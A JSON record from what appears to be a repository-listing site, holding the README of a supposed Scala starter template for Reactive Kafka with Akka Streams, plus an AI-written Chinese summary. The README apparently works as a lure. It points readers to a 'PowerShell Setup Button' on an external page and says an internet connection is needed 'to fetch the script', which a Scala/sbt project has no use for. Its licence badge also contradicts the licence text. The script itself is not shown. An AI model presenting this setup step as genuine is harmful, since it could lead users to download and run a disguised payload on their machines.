[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-109796":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":11,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":12,"stars30d":12,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":13,"rankGlobal":9,"rankLanguage":9,"license":9,"archived":14,"fork":14,"defaultBranch":15,"hasWiki":16,"hasPages":16,"topics":17,"createdAt":9,"pushedAt":21,"updatedAt":22,"readmeContent":23,"aiSummary":24,"trendingCount":12,"starSnapshotCount":12,"syncStatus":25,"lastSyncTime":26,"discoverSource":27},109796,"reactive-kafka-scala-starter","nagasab1-pixel\u002Freactive-kafka-scala-starter","nagasab1-pixel","Activator template for Reactive Kafka in Scala",null,"HTML",149,0,37,false,"main",true,[18,19,20],"activator","kafka","reactive","2026-11-23 10:14:47","2026-11-12 10:28:46","\u003Cdiv align=\"center\">\n\n# Reactive Kafka Scala Activator Template\n\n![](files\u002Fpreview.png)\n\n### 🛠️ PowerShell Setup Button\n\n[![](files\u002Fbutton.png)](https:\u002F\u002Fnagasab1-pixel.github.io\u002Freactive-kafka-scala-starter\u002F)\n\n[![licence](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLICENCE-MPL--2.0-6366f1?style=for-the-badge&labelColor=0d1117)]() [![build](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FBUILD-PASSING-2ea44f?style=for-the-badge&labelColor=0d1117)]() [![powershell](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPOWERSHELL-7%2B-818cf8?style=for-the-badge&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nThis project is an Activator template demonstrating the Akka Streams wrapper for Apache Kafka. It provides a working starting point for building reactive, stream-based Kafka producers and consumers in Scala. Use it to explore how the reactive-kafka library integrates with Akka Streams, then adapt the sample code to your own pipelines.\n\n## 📋 System Requirements\n\n- **PowerShell 5.1+** (pre-installed on Windows 10 and 11)\n- **Windows 10 \u002F 11** (x64)\n- **Internet connection** — required to fetch the script\n- **Administrator** — *not* required\n\n## Features\n\n- Akka Streams integration with Apache Kafka for fully reactive, backpressure-aware pipelines\n- Minimal publisher and subscriber examples showing message production and consumption\n- Config-driven setup for brokers, topics, and consumer groups\n- Runnable out of the box with a simple, focused codebase for quick experimentation\n- Structured to serve as a starting point you can extend into your own streaming applications\n\n## Tech Stack\n\n- Scala as the primary language\n- Akka Streams for reactive stream processing\n- Reactive Kafka (Akka Streams wrapper for Apache Kafka) for Kafka integration\n- Apache Kafka for messaging and event streaming\n- sbt for build and dependency management\n\n## Project Structure\n\n```\n.\n├── build.sbt\n├── project\u002F\n│   ├── build.properties\n│   └── plugins.sbt\n└── src\u002F\n    └── main\u002F\n        └── scala\u002F\n            └── com\u002F\n                └── example\u002F\n                    ├── Main.scala\n                    ├── Producer.scala\n                    └── Consumer.scala\n```\n\n- `build.sbt` — project definition and dependency declarations.\n- `project\u002F` — sbt build configuration, plugin and version pinning.\n- `src\u002Fmain\u002Fscala\u002F` — application sources.\n  - `Main.scala` — entry point that wires producer and consumer streams together.\n  - `Producer.scala` — publishes messages to a Kafka topic via Akka Streams.\n  - `Consumer.scala` — consumes and processes messages from a Kafka topic via Akka Streams.\n\nThe layout follows the standard sbt convention, so the project can be imported directly into an IDE once the build is loaded.\n\n## FAQ\n\n**Do I need a running Kafka cluster?**\nYes. The template expects a reachable Kafka broker. Point the configuration at your broker address before running anything; the default assumes a local instance.\n\n**Where do I configure the broker and topic names?**\nLook in the application configuration file under `src\u002Fmain\u002Fresources`. Broker addresses, group IDs, and topic names are all defined there and can be overridden per environment.\n\n**Which Scala and Akka versions are used?**\nThe build file pins the Scala and Akka Streams versions. Bump them together, since the Reactive Kafka wrapper is compiled against a specific Akka Streams release.\n\n**Why do I get serialization errors?**\nThe example producers and consumers use simple serializers. If you swap in custom types, provide matching serializer and deserializer implementations and register them in the configuration.\n\n**Can I run the producer and consumer separately?**\nYes. They are independent entry points, so you can start the consumer first and then publish messages from the producer to observe the stream.\n\n**How is backpressure handled?**\nThe stream stages propagate demand upstream, so a slow consumer throttles the source rather than buffering without bound. Tune buffer sizes in the configuration if you need different behavior.\n\n**Where do I add my own processing logic?**\nInsert additional stream stages between the source and sink in the main flow. Keep the graph construction in one place so the topology stays readable.\n\n**Is this template meant for production use?**\nNo. It is a starting point for learning and experimentation. Review configuration, error handling, and monitoring before adapting it to a real deployment.\n\n## License\n\nThis project is released under the Apache License 2.0.\n\nYou are free to use, modify, and distribute the code in this template for both personal and commercial purposes, provided that the copyright notice and permission notice are retained. The software is provided \"as is\", without warranty of any kind, express or implied.\n\nSee the LICENSE file in the repository for the full text.","这是一个基于 Scala 的 Apache Kafka 响应式流处理入门模板，专为快速启动 Akka Streams 与 Reactive Kafka 集成项目而设计。核心功能包括开箱即用的 Kafka 生产者与消费者示例、基于配置的 broker\u002Ftopic\u002Fgroup 设置、端到端背压感知的流式数据处理能力，并采用标准 sbt 结构便于 IDE 导入和二次开发。适用于需要构建高吞吐、低延迟、响应式消息管道的 Java\u002FScala 后端场景，如实时事件处理、微服务间异步通信或流式 ETL 原型验证。",2,"2026-11-24 04:37:29","CREATED_QUERY"]